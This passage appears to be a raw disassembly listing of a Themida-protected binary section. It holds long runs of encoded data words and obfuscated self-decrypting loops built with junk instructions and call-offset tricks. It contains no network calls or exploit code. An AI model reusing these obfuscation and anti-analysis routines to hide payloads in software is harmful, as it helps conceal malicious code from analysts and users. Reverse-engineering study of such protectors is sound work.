0B416667Eh, 0E71F3B16h dd 0A01AE14Ch, 0A27D1442h, 0BACC3586h, 4320BE98h, 99F6192Bh dd 0C563C515h, 6742CEEAh, 4E40394Bh, 513A6B3h, 69974A93h dd 0A6F64B24h, 0A69A5229h, 85970013h, 142E0AA6h, 25D683BBh dd 0A213A69Ah, 56A9D591h, 7FD877E3h, 3Fh, 0E22019Fh, 209227FCh dd 94A69C6Dh, 98AFD9F1h, 77C8C35Ah, 0A6E90C1Eh, 753BB808h dd 4313A67Ah, 7210A2DAh, 736C7E94h, 13A67C88h, 46762E3Fh dd 0D87735B9h, 0E91Eh, 0C6A03E00h, 56C196A8h, 5B296179h dd 9A2C6480h, 0F5071FFCh, 0AEE6FEDBh, 0DCB803E0h, 7B1969C2h dd 5173859Fh, 42A47D5Ch, 0C89C0E14h, 0F78C09A1h, 63144287h dd 9EFE9AFAh, 9E65E232h, 3C1442C8h, 0CAA7C1D3h, 90FF1EB2h dd 5230CE1Eh, 0BBD3B03Ch, 0F8D6E883h, 0A42FDD7Bh, 0F242AB13h dd 0F06C1390h, 0FDB13A5h, 3680BEF5h, 3042ABFCh, 0BDD9B452h dd 0D9F3CF6Dh, 0DFF5D3A1h, 3C527486h, 84C83E61h, 0A5EF323Dh dd 64C4AD7Ah, 48D42E0Ch, 7E19516Dh, 0BA32D125h, 0D4D6A19h dd 11D87h, 52744C00h, 0AFCFA8BEh, 0F29051Bh, 7286657Bh dd 0D1EDC8DEh, 0C59E643Dh, 243ACEEAh, 82982C4Ah, 0E4FA8EA4h dd 0A85BEF07h, 0B3847BF8h, 0D5213A9h, 5F7B567Eh, 0C9D8B5CBh dd 42A0B74Ch, 61BA2314h, 7F957311h, 3A1D031Fh, 0C9DB4D67h dd 7956D6A7h, 0A016ED6Ah, 2BB51442h, 7E9E8E22h, 0F4CD69BAh dd 0EA227BD4h, 93273F1Ch, 0CAFF47B9h, 2D9F686h, 0ECC2CDF0h dd 0CF0F2A9Ch, 0D8385630h, 64F06240h, 9D387086h, 0A830AD8Bh dd 0EA13A6BDh, 0B8933181h, 6813089Ch, 0AB13A602h, 0C22B6CEh dd 27C51531h, 5EF9314Bh, 7300864Ch, 8F000000h, 1C6C424Dh dd 24DB58BAh, 0B21442A0h, 203E3749h, 0AE13A9B0h, 623F0D45h dd 0B121D653h, 44AD13A9h, 644157EBh, 6D5CEA45h, 94ED4313h dd 9E65E244h, 3C13A910h, 4EFBC1D3h, 681BF600h, 95C480FDh dd 37C1B633h, 248D97DCh, 31BF812h, 647C596Fh, 22FC9A2Ch dd 1F31CC04h, 3DF2605h, 0A15890E9h, 0C6A39ACAh, 27041AAEh dd 351D70Fh, 0E0000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h dd 9B74427Ah, 68EE437Bh, 4F34h, 68240489h, 2DB0h, 68241C89h dd 679h, 50240489h, 7D6043B8h, 47E4355Ch, 662D34E3h, 254DDB06h dd 56E565C3h, 2A31A435h, 0C6895615h, 585EF389h, 24048B54h dd 5204C483h, 8BAh, 89C20100h, 24148B1Ah, 0FF04C483h, 81582434h dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF9685Bh, 69855C3Eh dd 1538B82Dh, 0C50307EBh, 0B63AE0FFh, 54F339DBh, 14267C59h dd 8E653560h, 74F25AFh, 15D35765h, 0EA384A66h, 0D3325452h dd 18973EBDh, 0B42A246Eh, 0BE87DDBh, 0C7000000h, 0B054E63Dh dd 91E2D64Ah, 5BF5E84Ch, 0EE9h, 3E32A900h, 25CCEAACh, 0F747CEA4h dd 811A4D82h, 6199C3h, 0B70F5000h, 40685ED0h, 66000018h dd 59C286BAh, 9E960h, 0BEA50000h, 0C6BC640Ch, 81DBF0BAh dd 0C9AFA3CEh, 33FF6158h, 0CEF6CE81h, 81581BDCh, 0B3FF74C6h dd 0C0C08179h, 81134BB7h, 0C4BFC6C0h, 0F18B6666h, 0AD66E881h dd 0C78149A8h, 6E278FB4h, 0CA816650h, 38F000Bh, 6E8h, 0F00BA200h dd 5F9FF202h, 6604EB83h, 0E981F98Bh, 1, 0FFB0850Fh, 0FB8BFFFFh dd 17088D8Dh, 6A07EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 2FA5F7C3h, 68E0Fh, 0C8810000h, 6C93D61Dh dd 1B718D89h, 8BF907E4h, 0E42C51B5h, 0A185C707h, 0B407E42Dh dd 0C700006Ah, 0E422B985h, 7, 0D5B5FF00h, 0FF07E402h, 0E4306195h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 9CB46D18h, 0C08166A2h, 0C7811784h, 96860C2h dd 95FF006Ah, 7E40E41h, 59EBC08Bh, 3330B548h, 5C448089h dd 86F72B8Bh, 0C8D1DFEBh, 50369DA8h, 89B17D99h, 0FC86FE46h dd 80C6F273h, 0C9CCCEDBh, 36B25B43h, 64432DFh, 9952C624h dd 2E95F5CFh, 8AFB16Bh, 7A61EDFCh, 0D4B4A57Ah, 0F7A88248h dd 311894DDh, 0B9D6D36Dh, 945FA69Fh, 9124A712h, 0A6C2E97Eh dd 24E944h, 32B80000h, 35B0h, 7 dup(0) dd 2DE90000h, 0EA000005h, 465CF012h, 0A3B94D6Dh, 319ADC7h dd 667C1024h, 2DB6F8Bh, 6C8863FCh, 0CAE8C2D8h, 2C422036h dd 8DA58298h, 199646F9h, 13A9B762h, 921CABF0h, 0A0CCB330h dd 218A1442h, 18F50Fh, 0BB9836C8h, 41799570h, 213B4DA6h dd 80962A46h, 85538BA3h, 0C65890A8h, 30F58F54h, 75874227h dd 2A62825Bh, 0C09608C6h, 6E3EE530h, 2D59F608h, 0A93D5532h dd 385831CFh, 10946BE8h, 0D9421442h, 0B9CFADC7h, 1B310F25h dd 1D3B15E3h, 2F572EE5h, 0EC3C5230h, 4923744Eh, 0FF58F32Bh dd 5FDC2CC7h, 14421098h, 99BBCD36h, 3E8EA683h, 10985FDCh dd 0CD361442h, 0B648F5BBh, 0E1144210h, 0E4B2EA06h, 8962EE08h dd 2BF23169h, 7835377Bh, 616F90CCh, 5968E05Bh, 88000000h dd 1CD2A926h, 17801442h, 8395AF8Bh, 617956AEh, 20F99729h dd 8F5EE00h, 191442A0h, 8B74285Ch, 4CE05C11h, 0Ah, 0AF7AFA6Ch dd 4FE98167h, 7D56683Dh, 7E57255Dh, 6D13C657h, 0B64028Ah dd 122605D3h, 4DF976DAh, 45D9F9D2h, 0A63A522Fh, 37532ECCh dd 7D5264FFh, 0FF17F492h, 1A2CC7h, 3D10925h, 1CBA0A2Ah dd 0C6C7273Fh, 65B84DC3h, 0AC7A4052h, 0B17FB7CFh, 0B583BBD5h dd 0E984BCDCh, 561A4AC7h, 0D8B2505Ah, 5B0BA8BAh, 8BA78220h dd 4E2CB853h, 310C2638h, 8E6B8115h, 0AA882676h, 0B08E5C94h dd 692F419Ah, 5FBA65D7h, 0A8FCAE7Dh, 53A07C96h, 0CD055E76h dd 3A622233h, 0E05B6BF5h, 4F6945E3h, 719E3Dh, 56C70000h dd 59275F7Bh, 0C72B637Dh, 48231A4Ah, 0A782982Ch, 7607E58h dd 0E2201CFh, 7B2B3CD6h, 5C0FEC43h, 6C29E0h, 0E7490000h dd 42AA956Ah, 0C7A54114h, 85DE79B1h, 7B569E73h, 3395275Fh dd 42A0C1B6h, 12248D14h, 0CC041AF8h, 0CD0525FEh, 0D00824FFh dd 100C2602h, 0B4531F47h, 0E8847EF0h, 55706379h, 5C4079F5h dd 0AABC9104h, 0BE6590Dh, 568A5BEFh, 364C2A7Dh, 0D20A63FEh dd 42A05B25h, 0DB8B4814h, 0D2502A0h, 4D283AD5h, 0E05C11B2h dd 123h, 30924C00h, 42A0CCB3h, 0F218A14h, 0C7FF19F5h, 0CC041CF9h dd 17063E15h, 2B1A1A3Bh, 0A9D91B47h, 0F29DBC50h, 0B9EF6CBCh dd 7713A60Fh, 0D244D60Eh, 75C52528h, 0D3EDFF19h, 0F08EDEF6h dd 9671FD11h, 6C46687Ah, 0C9DBEFCEh, 6ABAD2AFh, 0C5D7EFCCh dd 0B4FB6DFFh, 0AD8CA3B7h, 516946D2h, 736C7E19h, 13A6798Ah dd 50CF77FAh, 0B1C75B73h, 0B684BCD4h, 0BB89C1D9h, 0C18FC7DDh dd 294CCE4h, 0A679FE85h, 0F6F35C13h, 3F3B772Fh, 71B89735h dd 0E71F7898h, 0E99D3A4Ch, 714E9976h, 956C0059h, 0D877386Ah dd 97B38E2Ch, 13B2C45Fh, 160h, 6C424D3Ch, 0BEFD9F1Ch, 2A9313A6h dd 81FE60F2h, 13A6BFFAh, 0C3DDEF58h, 0A6BE9BE6h, 0F146CC6Eh dd 4A109CD7h, 0EE0498F1h, 0F3C1F911h, 8F690716h, 40710671h dd 74DD13A6h, 3B15E31Bh, 3A17E51Dh, 8609EA22h, 0CD9692DEh dd 0AAC9A699h, 0DB0201B5h, 47AFD82Ah, 9402E458h, 0B6D6AF3Bh dd 0DF2C95Dh, 0CAD87795h, 89h, 73444DF3h, 42A001F6h, 0F06DCD14h dd 1442A00Bh, 0AC055EC7h, 7D5CFA5Ch, 795E5769h, 156BBD5Fh dd 70E274ACh, 23013E54h, 0DA3AD50Dh, 8CCA1A1Dh, 1159194Eh dd 2720328Bh, 94429850h, 0A0DB8B52h, 985FDC3Eh, 36944298h dd 989D62CDh, 0D0399442h, 0B8F69BBEh, 4548F668h, 4FD3F52Dh dd 0FDE25F3Dh, 99EBBDF3h, 4525EA29h, 425833C8h, 0D6369F14h dd 94ED0741h, 7E3200h, 46B80000h, 83AF222Ah, 7C55E190h dd 7789245Ch, 6C424DA2h, 0B9F59F1Ch, 329B13A6h, 7C0380E2h dd 0DA13A6BAh, 0D6E51171h, 0CF1CCF00h, 4C29F7BDh, 0AD8AA034h dd 30B05D95h, 3413A601h, 0D9F9D270h, 37A2AC7h, 5B7A0E26h dd 0C82A7A34h, 0FE364C2Ah, 0CC585163h, 96144D15h, 4A27F52Dh dd 6C43FA32h, 0A40F8138h, 0C154BBA8h, 0FA95B8CAh, 94F264B4h dd 66A671EAh, 1B987688h, 1C66E20Bh, 8B5CF059h, 1C6C424Dh dd 0A9B7B79Fh, 3C74DD13h, 0E579916Eh, 75936D0Bh, 7690A23Dh dd 9C498199h, 21F29749h, 0A49BCB48h, 51BAFC7h, 46D81028h dd 0B65815D4h, 77F4107Fh, 2E04F080h, 7A8CE54Eh, 356D8160h dd 39718B67h, 6841906Bh, 0B7EF48h, 0C0357D29h, 9CFEBDE9h dd 4F0581Fh, 7B8DF62Eh, 1C6C8461h, 538B9F7Eh, 1A5358B8h dd 0D8C9E0FCh, 0B18EA4C6h, 0E5E25A2h, 93FC2E04h, 37C023Ah dd 0B000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h dd 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h, 9B74427Ah dd 83EE437Bh, 1C8904ECh, 5E406824h, 0C890000h, 447F6824h dd 1C890000h, 94BA5224h, 5207EB17h, 8B545A59h, 0C481241Ch dd 4, 1B5668h, 240C8900h, 0FF08438Fh, 835B2434h, 34FF04C4h dd 0C4835924h, 613DE904h, 0FB82FFF9h, 0EB1C78B8h, 0FFC50307h dd 0D021FDE0h, 866B7B52h, 0DD3AF077h, 231B1209h, 0BF240B3Eh dd 687A003Bh, 935E6703h, 6B141A02h, 0A4E2A510h, 701C141Fh dd 6123D62Ah, 3FC45Dh, 1E919443h, 0A594E112h, 6B516D7Eh dd 9DE38334h, 0B315F71Fh, 0FCF04E0Fh, 0D28D8D56h, 6A07EB1Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0C7ABC353h, 8166C3F8h, 0F57D8E2h, 8D89D8BFh dd 7E41B71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 34C35141h, 85C7F8A3h, 7E42DA1h, 5B80h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DAC35545h, 0C76A38DBh dd 0E422B985h, 7, 11E900h, 863E0000h, 2915B93Ch, 0DA2A9865h dd 6CB4FD50h, 0B8873931h, 5593A320h, 0E15B5FFh, 816607E4h dd 89F787F2h, 0E43171B5h, 6195FF07h, 0F07E430h, 6ADBB7h dd 0E4195FFh db 0E4h ; --------------------------------------------------------------------------- loc_5F425D: ; DATA XREF: Themida_:00584A84o pop es mov eax, eax jmp short loc_5F42C0 ; --------------------------------------------------------------------------- dw 30Ch dd 6705B597h, 0F3A68B49h, 8DB98452h, 4E6EE657h, 0C2BC00FAh dd 0DF979DFBh, 0E5CE52EDh, 51A59968h, 0F7625DE4h, 4DC37C37h dd 64DE0831h, 89344936h, 0D7130203h, 7CF0C5EAh, 0EC157A4Ah dd 2F3BAA72h, 6CBB1A85h, 80141FCEh, 0A80D5319h, 0F4BA0268h dd 267E44EAh, 327264DAh, 0FA4F9659h ; --------------------------------------------------------------------------- loc_5F42C0: ; CODE XREF: Themida_:005F4260j call near ptr loc_5F42CD+1 push edx mov edi, 2595528Ah shr dword ptr [esi], cl loc_5F42CD: ; CODE XREF: Themida_:loc_5F42C0p mov ecx, 1858D29h in al, 7 ; DMA controller, 8237A-5. ; channel 3 current word count pop esi sub [ebp+7E41CC9h], eax add esi, 7180h mov [ebp+7E4091Dh], edi xor edx, edx loc_5F42E9: ; CODE XREF: Themida_:005F435Dj mov ebx, [esi+edx] jno loc_5F42F7 xor ax, 0E31Fh loc_5F42F7: ; CODE XREF: Themida_:005F42ECj xor ebx, 5F464456h add ebx, 7182D1AAh mov ecx, [ebp+7E42D59h] xor ebx, 14F510E7h mov [ebp+7E422F5h], eax mov [esi+edx], ebx mov di, 2A6Eh and ecx, 54DBED2Dh sub edx, 4 jmp loc_5F4337 ; --------------------------------------------------------------------------- dw 8083h dd 0EB6B18FEh, 0B96020C2h db 0B1h, 0Dh, 2Eh ; --------------------------------------------------------------------------- loc_5F4337: ; CODE XREF: Themida_:005F4325j cmp edx, 0FFFF8F2Ch jnz loc_5F4359 mov [ebp+7E41661h], ecx jmp loc_5F4375 ; --------------------------------------------------------------------------- dw 787Dh dd 80AB6807h, 589B2216h db 79h ; --------------------------------------------------------------------------- loc_5F4359: ; CODE XREF: Themida_:005F433Dj push eax mov al, 32h pop ecx jmp loc_5F42E9 ; --------------------------------------------------------------------------- dw 5853h dd 46364B41h, 61676DDDh, 0C3754C6Ch, 98E1694h ; --------------------------------------------------------------------------- wait loc_5F4375: ; CODE XREF: Themida_:005F4349j call near ptr sub_5F4388 retf ; --------------------------------------------------------------------------- lahf cwde test [edi-8], cl cmp eax, [ebp+35h] pop ecx xlat and [edi], ch nop ; =============== S U B R O U T I N E ======================================= sub_5F4388 proc far ; CODE XREF: Themida_:loc_5F4375p sbb ax, 0B5B0h pop edi push edx jnz loc_5F439B xor edx, 69D9ACFCh loc_5F439B: ; CODE XREF: sub_5F4388+7j pop eax add edi, 6220h add dx, 0F4AAh xor ebx, ebx mov cl, 0A4h loc_5F43AB: ; CODE XREF: sub_5F4388+A4j push dword ptr [ebx+edi] mov eax, [ebp+7E41F21h] pop esi stc sub esi, 535FD9AFh mov ax, bx add esi, 3EBEB056h cmc xor esi, 15FC95EEh mov eax, [ebp+7E42F71h] push esi pusha jmp loc_5F43E5 ; --------------------------------------------------------------------------- dec ebx cld inc esi retf ; --------------------------------------------------------------------------- db 62h, 0A5h, 0ACh ; --------------------------------------------------------------------------- sti push edi aam 0CDh pop ebp loc_5F43E5: ; CODE XREF: sub_5F4388+4Cj mov cx, 8B1h popa pop dword ptr [edi+ebx] jmp loc_5F4405 ; --------------------------------------------------------------------------- shr byte ptr [edx+3458F021h], 0Eh or [ebx], ebx mov edi, [eax-6Bh] xor ebx, [eax+ebp*2-5Ah] inc edx call edx loc_5F4405: ; CODE XREF: sub_5F4388+65j or edx, 51EDD1FBh sub ebx, 176BD4EBh jl loc_5F441A movzx edx, ax loc_5F441A: ; CODE XREF: sub_5F4388+89j add ebx, 176BD4E7h sub eax, [ebp+7E414DDh] cmp ebx, 0FFFF9EACh jnz loc_5F43AB jmp loc_5F444A ; --------------------------------------------------------------------------- db 0F2h dd 0D1E09FA3h, 2733A64Bh, 0C5FC20CEh, 0E00F04D2h db 61h, 0B7h ; --------------------------------------------------------------------------- loc_5F444A: ; CODE XREF: sub_5F4388+AAj lea ecx, [ebp+7EB2072h] mov ebx, 753DE8D8h mov [ebp+7E41B71h], ecx push 0 push edx call sub_5F4466 and [edx-3Dh], bl sub_5F4388 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5F4466 proc near ; CODE XREF: sub_5F4388+D6p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5F4466 endp ; --------------------------------------------------------------------------- dw 0BB1h dd 29C55D59h, 85C7CFF5h, 7E42DA1h, 5808h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0D1C35646h, 0F9A380BEh dd 0FD8D9BEh, 0B985C727h, 7E422h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 47A5C356h, 12C9858Bh, 0B5FF07E4h, 7E42BF1h, 0E3D950Bh dd 95FF07E4h, 7E43061h, 8B08B660h, 0E42241BDh, 6A6107h dd 0E4195FFh, 0C08B07E4h, 0F0161AEBh, 717052A7h, 568E2D5Dh dd 53856EBFh, 51A10BF9h, 0EE2B14E8h, 6530176Fh, 21628D8Dh dd 6A07EBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 896564C3h, 0E41B718Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DEA71C28h dd 0DC8C2C49h, 68A0Fh, 0BD890000h, 7E407BDh, 2DA185C7h dd 5CC007E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0F1ABF7C3h, 2E96C670h, 85C7D166h dd 7E422B9h, 0 ; --------------------------------------------------------------------------- push edx mov di, 9CC8h pop ebx push dword ptr [ebp+7E41581h] push 0 push eax call sub_5F45C3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F45C3 proc near ; CODE XREF: Themida_:005F45BBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5F45C3 endp ; --------------------------------------------------------------------------- pushf call dword ptr [ebp+7E43061h] jnp loc_5F45E6 sub [ebp+7E42095h], eax loc_5F45E6: ; CODE XREF: Themida_:005F45DAj push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5F466E ; --------------------------------------------------------------------------- dw 84FAh dd 5927D4A1h, 83A3B6F1h, 0E6DAD80Dh, 0C4FE940Bh, 2BE909FCh dd 76E00EADh, 99283625h, 19E5F9E5h, 8E1DB34Eh, 1B4B94C6h dd 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh, 5899C50Dh dd 44556317h, 47F39113h, 0B3AC7D82h, 928BA51Bh, 0A169A1B3h dd 0FCDB5EC7h, 304CD976h, 0A731D200h, 0C1F284DDh, 0FF02776Eh dd 0ABD99F92h, 0E935D583h, 935A2C8Fh, 1CD3F37Dh, 87CAE560h db 98h, 0DCh ; --------------------------------------------------------------------------- loc_5F466E: ; CODE XREF: Themida_:005F45F0j lea ecx, [ebp+7EB22D8h] push 0 push edx call sub_5F467F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F467F proc near ; CODE XREF: Themida_:005F4677p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5F467F endp ; --------------------------------------------------------------------------- db 73h dd 0FBD4A51h, 8D89F7B7h, 7E41B71h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0AC35242h, 6081643Fh, 0BADFB70Fh dd 3EC6698Bh, 0AD958B61h, 0C707E416h, 0E42DA185h, 722C07h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 76A0668Fh, 0D58080E5h, 22B985C7h, 7E4h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 1298BDC3h, 0FF3F4923h, 0E41D5DB5h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 995D45h, 8D01AAE5h, 7E4180Dh, 306195FFh, 958907E4h dd 7E42245h, 95FF006Ah db 41h, 0Eh, 0E4h ; --------------------------------------------------------------------------- loc_5F4763: ; DATA XREF: Themida_:00583C98o pop es mov eax, eax jmp short loc_5F47C3 ; --------------------------------------------------------------------------- dd 5D94C0E8h, 4C35F612h, 0D2D8D54Ch, 0E6AD53B9h, 74CE5304h dd 4E0BD00Fh, 12B68E4Dh, 0CF60E681h, 60BAD6D2h, 95032A53h dd 0F63DD78Ch, 3CDB9E6Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5F47CD loc_5F4798: ; CODE XREF: sub_5F47CD+7j cmp al, 8Fh fnstcw word ptr [ebx+5Ch] nop xlat loc_5F479F: ; CODE XREF: sub_5F47CD-23j mov eax, ds:82008065h xor [esi-1FDDB266h], ah jp short loc_5F479F out 0B2h, al ; Interrupt Controller #2, 8259A ror dword ptr ds:723A1628h, cl cmp [ebx-716F6236h], bh mov ds:250583DBh, eax ; END OF FUNCTION CHUNK FOR sub_5F47CD ; --------------------------------------------------------------------------- db 3 db 0BEh, 0C2h, 75h ; --------------------------------------------------------------------------- loc_5F47C3: ; CODE XREF: Themida_:005F4766j call sub_5F47CD add al, [edx-3Dh] jnp short loc_5F47DB ; =============== S U B R O U T I N E ======================================= sub_5F47CD proc near ; CODE XREF: Themida_:loc_5F47C3p ; FUNCTION CHUNK AT 005F4798 SIZE 00000027 BYTES call near ptr loc_5F47DB+3 cmp ebp, ecx jo short loc_5F4798 cmpsd aam 1Dh stc in eax, dx loc_5F47DB: ; CODE XREF: Themida_:005F47CBj ; sub_5F47CDp mov esp, 0BE995B9h sub_5F47CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 8000000h, 0F9B3EA7Dh, 873FE3ABh, 5A597577h, 0C281F18Bh dd 75B7h, 2BFA8B66h, 0E38160C0h, 3C47507Dh, 255B58Bh, 8B6107E4h dd 0EB81021Ch, 61DDF62Bh, 21C5BD8Bh, 0EB8107E4h, 4A197CA6h dd 81ADE180h, 39F893EBh, 32F1817Ah, 8940A1C4h, 0B58B021Ch dd 7E41F8Dh, 0ADA4B966h, 8B04E883h, 10F881F9h, 0FFFFF8Bh dd 1E85h, 21BD2900h, 0E907E423h, 3Bh, 0DC27E18Eh, 0A5B2584Eh dd 55E297Ch, 7E3C7D92h, 0E91B04EEh, 14h, 92F366F0h, 5FE9256Bh dd 1C21271h, 0F2230DE4h, 329B6C16h, 0FFFF82E9h, 0D23DDBFFh dd 1CDDAF2Ch, 8DD99A4Ah, 0EB24CD8Dh, 9F26BE07h, 8D896799h dd 7E41B71h, 95D8D89h, 85C707E4h, 7E42DA1h, 71ECh, 0C6E0F8BFh dd 0B985C775h, 7E422h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3ADCC356h dd 215D1D50h, 6503D21h, 11E8h, 70BC2E00h, 1C0242BBh, 9AF8C881h dd 0F008036Fh, 11E9BAF9h, 23000000h, 78D04613h, 0B6376160h dd 0AB890CD9h, 0B1A24753h, 0BB665058h, 895F5E92h, 0E4166DBDh dd 59B5FF07h, 8B07E40Ah, 6195FFF3h, 6A07E430h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8B2AC356h, 0E4054595h, 0FF006A07h, 0E40E4195h ; --------------------------------------------------------------------------- loc_5F4958: ; DATA XREF: Themida_:00582DE8o pop es mov eax, eax loc_5F495B: ; CODE XREF: Themida_:005F49AAj jmp short loc_5F4995 ; --------------------------------------------------------------------------- db 0ABh, 68h, 2Fh dd 0A8A40F88h, 7CC86599h, 0BC08EFE2h, 0E74DD18Ah, 3D36E0CEh dd 0CCBE655Fh, 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 992E7378h dd 492FCFF3h, 0AC3008C3h, 0FC88B654h db 6Dh ; --------------------------------------------------------------------------- loc_5F4995: ; CODE XREF: Themida_:loc_5F495Bj call near ptr loc_5F49AC+1 push ss add [eax+43FCF60Bh], bh pushf jecxz short near ptr loc_5F49DF+3 push ebx call near ptr 72097A80h ja short loc_5F495B loc_5F49AC: ; CODE XREF: Themida_:loc_5F4995p db 3Eh pop ebx mov esi, ebx add ebx, 628Eh mov ecx, 0 push ecx mov [ebp+7E431B1h], edi pop edi loc_5F49C3: ; CODE XREF: Themida_:005F4A3Bj push dword ptr [ecx+ebx] xor edx, [ebp+7E40B25h] pop eax add edi, 27C718B0h add eax, 4BF9BA25h mov [ebp+7E418D9h], ecx loc_5F49DF: ; CODE XREF: Themida_:005F49A2j add eax, 55E872FAh jmp loc_5F49F2 ; --------------------------------------------------------------------------- dw 0A4CEh dd 0ED925579h db 0A7h, 9 ; --------------------------------------------------------------------------- loc_5F49F2: ; CODE XREF: Themida_:005F49E5j sub eax, 7348D235h mov esi, [ebp+7E40EE9h] mov [ebx+ecx], eax jbe loc_5F4A13 jnp loc_5F4A13 or [ebp+7E41BD1h], eax loc_5F4A13: ; CODE XREF: Themida_:005F4A01j ; Themida_:005F4A07j jmp loc_5F4A2C ; --------------------------------------------------------------------------- dd 0EED9B8CEh, 0F4673A6Dh, 402B2601h, 0FAF6E1AFh, 0C1CAA718h ; --------------------------------------------------------------------------- loc_5F4A2C: ; CODE XREF: Themida_:loc_5F4A13j sub ecx, 4 add [ebp+7E412DDh], eax cmp ecx, 0FFFF9E18h jnz loc_5F49C3 movzx esi, bx call near ptr loc_5F4A5B+2 and [ebx], edx cld dec esi mov eax, 0AEE5BC59h push 0FFFFFFF7h scasd mov esi, 48683ED6h push esi loc_5F4A5B: ; CODE XREF: Themida_:005F4A44p add dword ptr [edx-45h], 2CF57680h pop esi push edi mov dx, 9A72h pop ebx add esi, 5B8Dh adc bh, 0CEh mov edi, 16B1h mov dx, 0D4F6h loc_5F4A7B: ; CODE XREF: Themida_:005F4B04j mov eax, [esi] mov ecx, 1E6EC5C6h xor eax, 33DF1339h mov ebx, [ebp+7E43065h] add eax, 5E35FDB9h mov [ebp+7E41AD5h], edx sub eax, 1845AC68h mov [ebp+7E40DA9h], ecx push eax mov [ebp+7E41851h], edx pop dword ptr [esi] jbe loc_5F4ABB mov ebx, [ebp+7E41AE5h] loc_5F4ABB: ; CODE XREF: Themida_:005F4AAFj sub esi, 2 push edi jmp loc_5F4AD5 ; --------------------------------------------------------------------------- dd 89EDD51h, 0E1534D85h, 2F10D72h, 0ABA1A5A9h db 0EBh ; --------------------------------------------------------------------------- loc_5F4AD5: ; CODE XREF: Themida_:005F4ABFj pop ebx dec esi dec esi clc sub edi, 1 jnz loc_5F4AFE mov [ebp+7E40DE5h], esi ; CODE XREF: Themida_:005F4B1Dj jmp loc_5F4B16 ; --------------------------------------------------------------------------- db 96h, 34h, 0BCh dd 952B7136h, 4CE56A84h, 1FE4AB1Ch db 0EAh, 5Dh ; --------------------------------------------------------------------------- loc_5F4AFE: ; CODE XREF: Themida_:005F4ADCj and ebx, 42E6DF18h jmp loc_5F4A7B ; --------------------------------------------------------------------------- db 7, 0E8h, 7Ah ; --------------------------------------------------------------------------- sub esp, [ebp+ebp*4+21h] push ecx push 0A41A8445h loc_5F4B16: ; CODE XREF: Themida_:005F4AE8j call sub_5F4B2A inc ebp outsb jnb short near ptr loc_5F4AE2+1 rcr dword ptr [edi+3Bh], cl sub cl, 0DEh wait adc al, 0BCh push ss inc esi ; =============== S U B R O U T I N E ======================================= sub_5F4B2A proc near ; CODE XREF: Themida_:loc_5F4B16p jnb loc_5F4B33 mov bx, di loc_5F4B33: ; CODE XREF: sub_5F4B2Aj pop edi sbb bh, 4Dh add edi, 59D7h ja loc_5F4B48 mov ecx, 5198FB84h loc_5F4B48: ; CODE XREF: sub_5F4B2A+13j push 1648h pop esi add [ebp+7E42ED9h], edi loc_5F4B54: ; CODE XREF: sub_5F4B2A+98j push dword ptr [edi] mov ebx, 17117597h pop eax mov bl, 0DDh sub eax, 6D898372h mov ecx, 6CBD0AE3h xor eax, 5E66C18Eh or [ebp+7E40E31h], eax xor eax, 128A4E6Dh add [ebp+7E41675h], ecx mov [edi], eax mov edx, [ebp+7E42A05h] sub edi, 2 ; CODE XREF: sub_5F4B2A+B1j mov ecx, [ebp+7E402CDh] dec edi dec edi jmp loc_5F4B9F ; --------------------------------------------------------------------------- db 0B0h, 0A1h, 48h db 49h, 0E6h, 38h ; --------------------------------------------------------------------------- loc_5F4B9F: ; CODE XREF: sub_5F4B2A+6Aj sub esi, 1 jnz loc_5F4BBC mov cx, 0DEC9h jmp loc_5F4BD6 ; --------------------------------------------------------------------------- db 3Bh, 1Bh, 0ADh dd 0E9CBA3FEh, 89788FF5h ; --------------------------------------------------------------------------- loc_5F4BBC: ; CODE XREF: sub_5F4B2A+78j add [ebp+7E42659h], esi jmp loc_5F4B54 ; --------------------------------------------------------------------------- lea edi, [edx] pop es fimul dword ptr [ebx-488BC967h] and [edi-1Ch], cl inc ebx inc esp icebp loc_5F4BD6: ; CODE XREF: sub_5F4B2A+82j call near ptr loc_5F4BE4+4 jnb short near ptr loc_5F4B89+2 enter 